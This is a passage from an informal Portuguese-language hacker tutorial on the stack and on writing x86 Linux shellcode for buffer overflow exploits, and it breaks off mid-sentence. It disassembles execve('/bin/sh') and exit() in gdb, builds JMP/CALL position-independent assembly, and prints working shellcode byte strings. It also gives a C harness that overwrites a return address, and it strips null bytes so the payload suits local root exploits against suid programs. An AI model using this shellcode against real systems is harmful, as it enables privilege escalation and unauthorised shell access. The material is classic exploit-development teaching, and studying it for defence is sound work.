--------------- | | | Programa | | | --------------- Baixa Essa eh uma visao conceitual do uso de memoria no C, o que temos que ter em mente, e o que mais nos importa no momento, eh diferenciar as regioes onde ocorrem os dois tipos de overflows que serao descritos aqui, a regiao Stack e a regiao Bss onde podemos fazer heap overflows. Lembrando tambem que isso tudo aih eh imaginario, nao vah pensando que eh um quadradinho perfeitinho que vai sendo enchido nao!! ------------------------------------------------------------------ --------------------- 2. O STACK OU A PILHA| --------------------- A regiao conhecida como STACK ou pilha, eh responsavel por receber dados(argumentos) e passa-los p/ as funcoes.Essa regiao possui tamanho relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela possui uma particularidade.Essa particularidade consiste em: O ultimo dado a entrar serah o primeiro a sair, chamamos isso de LIFO - last in, first out (ultimo a entrar,primeiro a sair). Na medida em que eh usado, o Stack ou a pilha,chamarei de Stack, cresce p/ baixo, sendo assim, a quantidade de memoria necessaria eh determinada da maneira como o programa foi projetado.Por exemplo, um programa com muitas funcoes recursivas utiliza mais memoria no Stack do que um programa sem funcoes recursivas, justamente porque variaveis locais sao armazenadas no Stack.A parte necessaria para o programa e as variaveis globais(citadas no esquema de memoria acima), eh determinada durante a execucao do programa. Uma pilha(Stack) eh o contrario de uma fila,porque usa o acesso "ultimo a entrar, primeiro a sair", denominado LIFO.Para visualizar um Stack, basta imaginar uma pilha de pratos.O prato da base do Stack eh o ultimo a ser usado e o prato do topo, o primeiro.Stacks sao geralmente utilizados em softwares basicos, incluindo compiladores e interpretadores.Geralmente o C usa o Stack quando passa parametros(argumentos) as funcoes.Dois comandos em assembly sao usado para enviar e retirar dados do Stack, sao eles push e pop, respectivamente. Veremos abaixo o esquema de um Stack em acao: Acao Conteudo do Stack ------ --------------------- push(A) A push(B) A B push(C) A B C pop() /* retira o ultimo */ A B push(N) A B N pop() A B pop() A pop() /* vazio */ Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair. Isso eh mais do que o suficiente, espero que tenha ficado claro as coisas para voce,amigo!!Vamos esquentar mais as coisas. ------------- 3. SHELLCODE | ------------- Eu fiz um txt sobre escrita de shellcodes e voce pode encontrar ele na home page citada acima.Ele eh bem completo e ensina ateh um basico sobre assembly, entao amigo, se quiser obter mais dados sobre isso, olhe na home page "http://unsekurity.virtualave.net/", procure esse texto porque lah possui mais informacoes basicas e detalhadas sobre a escrita de shellcodes. Mas nesse daqui darei uma breve explicacao sobre eles e o porque de se usa-los. No exemplo inicial, o do capitulo 1.1, vimos como encher um buffer com As, mas isso nao eh proveitoso,o que se poderia fazer com isso eh tao somente conseguir um DoS(Denial of Service) em servicos remotos p/ intuitos nada simples.Tambem vimos no capitulo 1.2 que podemos sobrescrever o endereco de retorno(return address).Se podemos fazer isso tudo entao devemos raciocinar, ao invez de tacar um monte de As, por que nao colocarmos codigos de maquina para executar alguma coisa, jah que podemos sobrescrever o endereco de retorno p/ apontar para algum lugar na memoria aonde estah inserido nosso codigo?? Exato!!Isso nao soh eh possivel como eh um fato!!Nao tenho conhecimento do cara que descobriu isso,mas deve-se muito a ele! Sobrescrevendo o endereco de retorno fazendo-o apontar p/ o inicio de um codigo nosso, podemos executar o codigo como se fossemos o dono do programa bugado!!Geralmente se procura bugs em programas com suid root ou mesmo em sgid, que nos dao boas permissoes.Digo isso porque em breve descreverei alguns esquemas para banco de dados tambem, coisas um pouco diferentes, fique ligado!:) Bem como dito, o codigo que geralmente usamos, eh chamado de shellcode, pois executamos ele como se fosse uma linha de comando.Descreverei aqui alguns shellcodes,mas nesse texto especifico sobre shellcodes dito acima, encontram-se mais exemplos. Na maioria das vezes, em exploits locais, tudo que queremos eh executar o comando "/bin/sh" ou "/bin/bash" como se fosse root.Abaixo segue um esquema de shellcode para um desses citado: 3.1 - SHELLCODE /BIN/SH ------------------------ Esse existe por aih e eh amplamente difundido,tentarei ser bem pratico ao descrever como se criar um shellcode deste tipo,lembrando, nesse txt nao ensinarei nada sobre assembly, se quiser aprender algo,leia o outro. Vamos lah,veremos agora o codigo em C responsavel pela execucao desse dito cujo: /* Comecando a criar um shellcode */ #include main(){ char *comando[2]; comando[0]="/bin/sh"; comando[1]=NULL; execve(comando[0],comando,NULL); } Compilamos esse programa da seguinte forma usando gcc: [localhost:/]$gcc -o shell -static -ggdb shell.c Apos compilarmos o mesmo, usamos o gdb para analisar seu codigo em asm: [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble main", para que o gdb nos forneca o codigo da funcao main em linguagem assembly.Veremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 0x804815d : movl $0x0,0xfffffffc(%ebp) 0x8048164 : push $0x0 0x8048166 : lea 0xfffffff8(%ebp),%eax 0x8048169 : push %eax 0x804816a : mov 0xfffffff8(%ebp),%eax 0x804816d : push %eax 0x804816e : call 0x80483fc 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret End of assembler dump. (gdb) Vamos analisar com calma cada linha disso daih. 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp Essa tres primeiras linhas correspondem ao processo inicial ou procedimento preludio.O que essas linhas fazem, primeiro eh salvar o frame pointer antigo, em seguida faz do atual stack pointer o novo frame pointer(mov %esp,%ebp), logo apos autoriza espaco para as variaveis locais, onde no nosso caso eh: char *comando[2]; Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para duas words ou 8 bytes como vimos(sub $0x8,%esp).Continuando: 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo feito aih eh a copia do endereco da string "/bin/sh"(valor 0x8058b28) sobre o primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] = "/bin/sh". Continuando: 0x804815d : movl $0x0,0xfffffffc(%ebp) O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL, sobre o segundo ponteiro de comando[].Isto eh equivalente a: comando[1] = NULL; em nosso codigo shell.c acima.Continuando: 0x8048164 : push $0x0 Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando, o programa empurra os argumentos de execve em ordem inversa(do ultimo argumento para o primeiro) sobre o stack.Acima vimos que comeca com 0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL); Eh a este NULL que estamos nos referindo.Continuando: 0x8048166 : lea 0xfffffff8(%ebp),%eax Aqui ocorre o carregamento do endereco de comando[] sobre o registrador EAX.Continuando: 0x8048169 : push %eax Esse nao possui segredo, o que ocorreu foi que empurramos o endereco de comando[] que havia sido previamente carregado no registrado EAX sobre o Stack. Continuando: 0x804816a : mov 0xfffffff8(%ebp),%eax Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador EAX.Continuando: 0x804816d : push %eax Novamente a funcao push(), que nos diz dessa vez que estamos empurrando os dados do registrado EAX, que nesse caso eh o endereco da string "/bin/sh", sobre o Stack.Continuando: 0x804816e : call 0x80483fc Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos execve(), ou simplesmente a chamada propriamente dita da funcao execve(). A instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que apos a execucao de execve(), nosso programa termina, entao as linhas abaixo seguem para voltar as rotinas anteriores: 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho frame pointer, faz dele o stual stack pointer em seguida esvazia a pilha com pop. e ret retorna p/ o sistema. Agora analisaremos a funcao execve(); (gdb) disassemble execve Dump of assembler code for function execve: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx 0x8048400 : mov $0xb,%eax 0x8048405 : mov 0x8(%ebp),%ebx 0x8048408 : mov 0xc(%ebp),%ecx 0x804840b : mov 0x10(%ebp),%edx 0x804840e : int $0x80 0x8048410 : mov %eax,%edx 0x8048412 : test %edx,%edx 0x8048414 : jge 0x8048426 0x8048416 : neg %edx 0x8048418 : push %edx 0x8048419 : call 0x8050b28 <__normal_errno_location> 0x804841e : pop %edx 0x804841f : mov %edx,(%eax) 0x8048421 : mov $0xffffffff,%eax 0x8048426 : pop %ebx 0x8048427 : mov %ebp,%esp 0x8048429 : pop %ebp 0x804842a : ret 0x804842b : nop End of assembler dump. O codigo parece complicado a primeira vista,muitas instrucoes em assmebly, nao tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas em diversos tutoriais internet a fora, inclusive no meu outro sobre escrita de shellcodes..:)..Vendido meu peixe, vamos prosseguir.A maioria das coisas voce jah pode saber somente olhando e comparando com as explicacoes passadas.Mas vejamos: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx Isso eh o mesmo procedimento inicial descrito na explicacao sobre a funcao main().Pega-se o velho frame pointer e salva-o, em seguida faz do atual stack pointer o novo frame pointer e depois o empurra no stack. Continuando: 0x8048400 : mov $0xb,%eax Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde ao system call execve() na tabela de system calls do sistema.Voce pode conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso varia de linux para linux,mas creio que nao.Continuando: 0x8048405 : mov 0x8(%ebp),%ebx O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX. Continuando: 0x8048408 : mov 0xc(%ebp),%ecx Copiamos o endereco de comando[] sobre ECX. 0x804840b : mov 0x10(%ebp),%edx Copiamos o endereco do ponteiro nulo (NULL) sobre EDX. 0x804840e : int $0x80 Aqui nos mudamos para o modo kernel. Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da funcao execve(), esses comandos que seguem abaixo, jah sao mais complexos e acredite, creio serem inuteis para os nossos objetivos!!Uma vez que se entra no modo kernel, as intrucoes que seguem "nao fazem" parte do nosso programa.Se quiser ver como a coisa vai se complicando digite na linha de comandos do gdb "disassemble __normal_errno_location" e por aih vai. O estudo detalhado acima nos dah uma boa base para sabermos como funciona o processo de execucao de nosso programa shell.c em instrucoes de "maquina". Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode. Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode: 1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria. Lembrando que estamos querendo executar esse comando, se fosse outro, logico que poderiamos mudar isso. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long.Por que isso? lembra do esquema: comando[1] = NULL; Se faz necessario isso aqui. 3. Copiar 0xb sobre o registrador EAX. Lembrando que de acordo com a tabela de system calls que podemos achar em /usr/include/sys/syscall.h, o numero decimal correspondente ao syscall execve() eh 11 (0xb). 4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX. 6. Copiar o endereco da word null long sobre o registrador EDX. 7. Executar a intrucao int $0x80. Para facilitar o aprendizado veremos como cada um dos passos citados acima, no nosso exemplo inicial de shellcode: 1. 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 2. 0x804815d : movl $0x0,0xfffffffc(%ebp) 3. 0x8048400 : mov $0xb,%eax 4. 0x8048405 : mov 0x8(%ebp),%ebx 5. 0x8048408 : mov 0xc(%ebp),%ecx 6. 0x804840b : mov 0x10(%ebp),%edx 7. 0x804840e : int $0x80 O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na construcao de um shellcode eficiente.Por exemplo,para evitar que o programa continue buscando instrucoes para o Stack, caso a funcao execve() falhe.Nos precisaremos usar um artificio que faca com que o programa saia limpamente, caso haja falha em execve().Sair limpamente significa voltar a linha de comando, sem que o programa busque dados aleatorios caso execve() falhe.Para fazermos isso basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos isso da seguinte forma: Pegamos e compilamos o programa abaixo: ------------------------------------------------------------------------ /* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE CASO EXECVE() FALHE Compile com: gcc -o saida -static -ggdb saida.c */ #include void main(){ exit(0); } ----------------------------------------------------------------------- Compilamos ele entao: [localhost:/]$ gcc -o saida -static -ggdb saida.c Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para vermos como isso fica em asm: [localhost:/]$gdb saida GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui). (gdb) disassemble _exit Dump of assembler code for function _exit: 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx 0x80483e8 <_exit+4>: mov $0x1,%eax 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx 0x80483f0 <_exit+12>: int $0x80 0x80483f2 <_exit+14>: mov 0xfffffffc(%ebp),%ebx 0x80483f5 <_exit+17>: mov %ebp,%esp 0x80483f7 <_exit+19>: pop %ebp 0x80483f8 <_exit+20>: ret 0x80483f9 <_exit+21>: nop 0x80483fa <_exit+22>: nop 0x80483fb <_exit+23>: nop End of assembler dump. Podemos facilmente ver algumas coisas, vamos analisar este codigo. 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx Procedimento inicial, o mesmo esquema descrito para a funcao execve() acima.Continuando: 0x80483e8 <_exit+4>: mov $0x1,%eax Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero correspondente ao system call exit() na tabela de system calls. Continuando: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos porque logo abaixo.quando virmos algumas linhas de main(). 0x80483f0 <_exit+12>: int $0x80 Muda para o modo kernel. Disassemblando main, teremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : push $0x0 0x8048155 : call 0x804829c 0x804815a : add $0x4,%esp 0x804815d : lea 0x0(%esi),%esi 0x8048160 : mov %ebp,%esp 0x8048162 : pop %ebp 0x8048163 : ret End of assembler dump. O que nos interessa para entendermos a linha <_exit+9> do codigo asm de exit() eh somente o seguinte: 0x8048153 : push $0x0 0x8048155 : call 0x804829c Como o Stack pega os argumento de tras para frente, na linha do nosso programa saida.c: exit(0), em asm teremos: push $0x0 -> Empurra 0 sobre o Stack. call exit -> Chama a funcao exit(). Isso tudo fica armazenado em: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Eis aih o porque. Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas retornam 0 na saida para indicar que nao possui erros.Se tiver acesso ao codigo fonte dos programas, verifique, porque isso pode muito bem mudar. Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita no exemplo acima, nossos passos em busca de um shellcode eficiente mudam. Teremos entao agora: 1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long. 3. Copiar 0xb sobre o registrado EAX. 4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX. 6. Copiar o endereco da null word long sobre o registrador EDX. 7. Executar a instrucao int $0x80. * Aqui comecao exit(). 8. Copiar 0x1 sobre registrado EAX. 9. Copiar 0x0 sobre o registrador EBX. 10.Executar a instrucao $0x80. Como podemos ver, para a funcao exit() nao temos muita coisa,senao tres linhas apenas, expliquei tudo aquilo acima porque quero que voce entenda como a coisa funciona.Nao vejo como saber que necessitamos do passo 9, sem sabermos de onde vem esse 0x0. Lembrando que eh para Newbies que escrevo, nao o termo Newbie do livro "A Internet e os Hackers", onde a unica coisa que escapa eh a capa, tem um bom ditado para isso:"Nao julgue o livro pela capa!", quando falo Newbies, sao sim pesquisadores, pessoas com espirito com fome de conhecimento, mas que por um motivo ou outro,nao conseguem acesso a material de nivel.Manisfestos a parte, vamos continuando nossa jornada. Sabemos os passos que devemos seguir, entao iremos agora formar esses passos num esquema de codigos asm para facilitar ainda mais nosso aprendizado. O esquema seria mais ou menos o seguinte: movl endereco_da_string, endereco_do_endereco_da_string movb $0x0, endereco_do_byte_nulo movl $0x0, endereco_do_nulo movl $0xb, %eax movl endereco_da_string, %ebx leal endereco_da_string, %ecx leal string_nula, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh vem aqui. Podemos visualizar que estamos bem proximo de conseguir efetivar nosso shellcode.Mas surge um problema, nos nao sabemos onde no espaco da memoria do programa alvo nos iremos exploitar o codigo(e a string que segue ele serah colocada.Uma possivel solucao para isso, seria usar as instrucoes JMP e CALL para circular nosso codigo.Essas instrucoes podem usar enderecamento IP relativo, que despreza que nos podemos saltar para um offset do IP atual sem necessitar saber o endereco exato de onde na memoria nos queremos saltar.Se colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP para ela(instrucao CALL), o endereco da string serah empurrado sobre o Stack como o endereco de retorno(return address) quando CALL for executado.Exato amigo!! Acontecerah exatamente isto que voce estah imaginando.Mas para isso precisamos copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm: jmp offset-para-chamar # 2 bytes popl %esi # 1 byte movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-para-popl # 5 bytes /bin/sh vem aqui # 5 bytes Analizando bem o esquema acima, veremos algumas mudancas, nao nos conceitos,mas na sintaxe asm propriamente dita, explico tudo isso no txt sobre shellcodes,mas abaixo segue uma explicacao simples sobre o esquema acima: jmp offset-para-chamar # 3 bytes popl %esi # 1 byte Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito era saltar para o endereco, nesse caso offset, declarado em offset-para-chamar. Esse offset eh o endereco de call, apos isso, call chamarah popl %esi.Continuando: movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve(). Continuando: movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes Acima estao os codigos referentes a funcao exit(), descritos nos nossos passos de 8 a 10.Continuando: call offset-para-popl # 5 bytes /bin/sh vem aqui # 8 bytes Aih em cima podemos ver a instrucao call, responsavel por fazer o giro ou circulo.Essa instrucao chama a intrucao popl lah em cima.Voce pode estar se perguntando se esse giro nao seria um loop infinito.Na verdade isso nao acontece, lembrando, estamos trabalhando com assembly, como estamos manipulando enderecos de memoria, o endereco correspondente a instrucao call que eh saltada usando jmp no inicio, nao serah mais chamado, logo nao existe um loop infinito.Acho que as coisas sao mais claras para o pessoal que meche bem com "goto". :) O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah acontecendo aqui: Parte inferior Topo da Memoria da memoria buffer sfp ret a b c <---- [JJSSSSSSSSCCss] [ssss] [0xD8] [0x01] [0x02] [0x03] ^|^ ^| | |||_______||______________| ||_______|| |________| Topo do Stack Parte inferior do Stack Onde: J -> Refere a intrucao JMP. C -> Refere a instrucao CALL. S -> Codigo asm que queremos executar. s -> Codigo da string que queremos executar ("/bin/sh"). buffer -> Nosso buffer vulneravel a overflow. sfp -> O frame pointer. ret -> Endereco de retorno. A seta indica para onde estah saltando a instrucao. Espero que tudo tenha clareado mais para voce.Em cima disso, podemos calcular os offsets necessarios para jmp saltar para call, de call para popl, do endereco da string para o array, e do endereco da string p/ a word null long. Caso alguem possua duvidas de como se descobrir os offsets, lembro novamente, eh bom aprender assembly!!Mas eu coloquei um esquema bem detalhado no txt sobre shellcodes.Se quiser ou precisar, de uma olhada nele. Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em um programa C. Somente observe, nao compile ainda. #include #include void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } Existe um probleminha amigo, para que o nosso codigo funcione, necessitamos declarar ele como uma variavel global, para podermos colocar nosso codigo no Stack ou Segmento Data(onde teremos permissao de escrita) ,transferindo o controle para ele,pois nosso codigo modifica ele mesmo e muitos sistemas operacionais marcam paginas de codigos read-only(soh leitura).Para fazermos isso, necessitamos da representacao hexadecimal do codigo binario.Vejamos abaixo como fazer isso tudo: * Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe na linha de comando: [localhost:/]$gcc -o shell -g -ggdb shell.c * Em seguida executamos o debugador. [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) * Agora vem a parte que se exige mais paciencia do fucador.Muita gente acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal correspondente a cada uma da linha de comando.Para fazer isso voce digita o seguinte: (gdb)disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x804817f 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : movb $0x0,0x7(%esi) 0x804815d : movl $0x0,0xc(%esi) 0x8048164 : mov $0xb,%eax 0x8048169 : mov %esi,%ebx 0x804816b : lea 0x8(%esi),%ecx 0x804816e : lea 0xc(%esi),%edx 0x8048171 : int $0x80 0x8048173 : mov $0x1,%eax 0x8048178 : int $0x80 0x804817a : call 0x8048150
0x804817f : das 0x8048180 : bound %ebp,0x6e(%ecx) 0x8048183 : das 0x8048184 : jae 0x80481ee <__new_exitfn+54> 0x8048186 : add %cl,0x90c35dec(%ecx) End of assembler dump. Isso voce jah sabe o que faz(mostra codigo asm do nosso programa),agora amigo para saber o codigo hexadecimal de cada um desses comandos, voce terah que digitar o seguinte " x/xb " como no esquema abaixo: (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x2a (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 . . . (gdb) x/xb main+56 0x8048188 : 0xec (gdb) x/xb main+57 0x8048189 : 0x5d (gdb) x/xb main+58 0x804818a : 0xc3 (gdb) x/xb main+59 0x804818b : 0x90 Voce comecarah com o indice "main+3" e irah ateh quando chegar o hexadecimal "0x90" que corresponde a instrucao NOP, que serah vista logo abaixo (essa linha nao deve entrar no nosso shell code).Caso em outro shellcode feito por voce, isso nao apareca, coloque os hexadecimais ateh a ultima instrucao da funcao main(). Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa variavel global, como no esquema abaixo: /* Exemplo inicial de shellcode Compile com: $gcc -o shell1 shell1.c */ #include char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Depois de compilado voce pode executar ele normalmente, como no exemplo abaixo: [localhost:/]$ gcc -o shell1 shell1.c [localhost:/]$./shell1 bash$ exit exit Como voce pode ver, ele funciona!Mas existe um pequeno probleminha,como nos estamos querendo executar nosso shellcode atraves de um buffer overflow,enchendo-o de caracteres, logo, um byte nulo em nosso shellcode irah ser considerado como o fim da string, e consequentemente serah o fim frustado de nosso objetivo.Entao necessitados retirar todos os bytes nulos(null bytes) de nosso shellcode para que nosso futuro exploit nao tenha problemas em executar seu alvo.Para fazermos isso, necessitamos conhecer um basico de assembly, mas vejamos como ficaria para nosso exemplo: Instrucao com null byte Trocar por: ------------------------------------------------------------------------ movb $0x0,0x7(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl $0x0,0xc(%esi) movl %eax,0xc(%esi) ------------------------------------------------------------------------- movl $0xb,%eax movb $0xb,%al ------------------------------------------------------------------------- movl $0x1,%eax xorl %ebx,%ebx movl $0x0,%ebx movl %ebx,%eax inc %eax ------------------------------------------------------------------------- Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar os null bytes.Veremos entao como fica o nosso codigo apos a substituicao dos mesmos: /* Shellcode com sobstituicao dos null bytes */ #include main(){ __asm__(" jmp 0x1f #2 bytes popl %esi #1 byte movl %esi,0x8(%esi) #3 bytes xorl %eax,%eax #2 bytes movb %eax,0x7(%esi) #3 bytes movl %eax,0xc(%esi) #3 bytes movb $0xb,%al #2 bytes movl %esi,%ebx #2 bytes leal 0x8(%esi),%ecx #3 bytes leal 0xc(%esi),%edx #3 bytes int $0x80 #2 bytes xorl %ebx,%ebx #2 bytes movl %ebx,%eax #2 bytes inc %eax #1 byte int $0x80 #2 bytes call -0x24 #5 bytes .string \"/bin/sh\" #8 bytes "); } Compilamos entao usando a seguinte sintaxe: [localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c Em seguinte usamos o debugador p/ novamente pegarmos o codigo em hexa: [localhost:/]$gdb shellnova1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb)disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x8048174 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : xor %eax,%eax 0x804815b : mov %al,0x7(%esi) 0x804815e : mov %eax,0xc(%esi) 0x8048161 : mov $0xb,%al 0x8048163 : mov %esi,%ebx 0x8048165 : lea 0x8(%esi),%ecx 0x8048168 : lea 0xc(%esi),%edx 0x804816b : int $0x80 0x804816d : xor %ebx,%ebx 0x804816f : mov %ebx,%eax 0x8048171 : inc %eax 0x8048172 : int $0x80 0x8048174 : call 0x8048155 0x8048179 : das 0x804817a : bound %ebp,0x6e(%ecx) 0x804817d : das 0x804817e : jae 0x80481e8 <__new_exitfn+52> 0x8048180 : add %cl,0x90c35dec(%ecx) End of assembler dump. (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x1f (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 (gdb) x/xb main+7 0x8048157 : 0x76 (gdb) x/xb main+8 0x8048158 : 0x08 (gdb) x/xb main+9 0x8048159 : 0x31 . . . 0x8048178 : 0xff Podemos perfeitamente para por aqui e no nosso shellcode no codigo-fonte acrescentarmos a string /bin/sh que se refere ao que queremos executar. Fazendo isso teriamos o seguinte shellcode: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Mas se nos quisermos substituir a string /bin/sh por seu correspondente em hexadecimal, nos devemos continuar pegando os respectivos codigos hexa pelo debugador, ateh encontrarmos uma intrucao nop que corresponderah ao fim da funcao main().Vejamos: Haviamos parado em
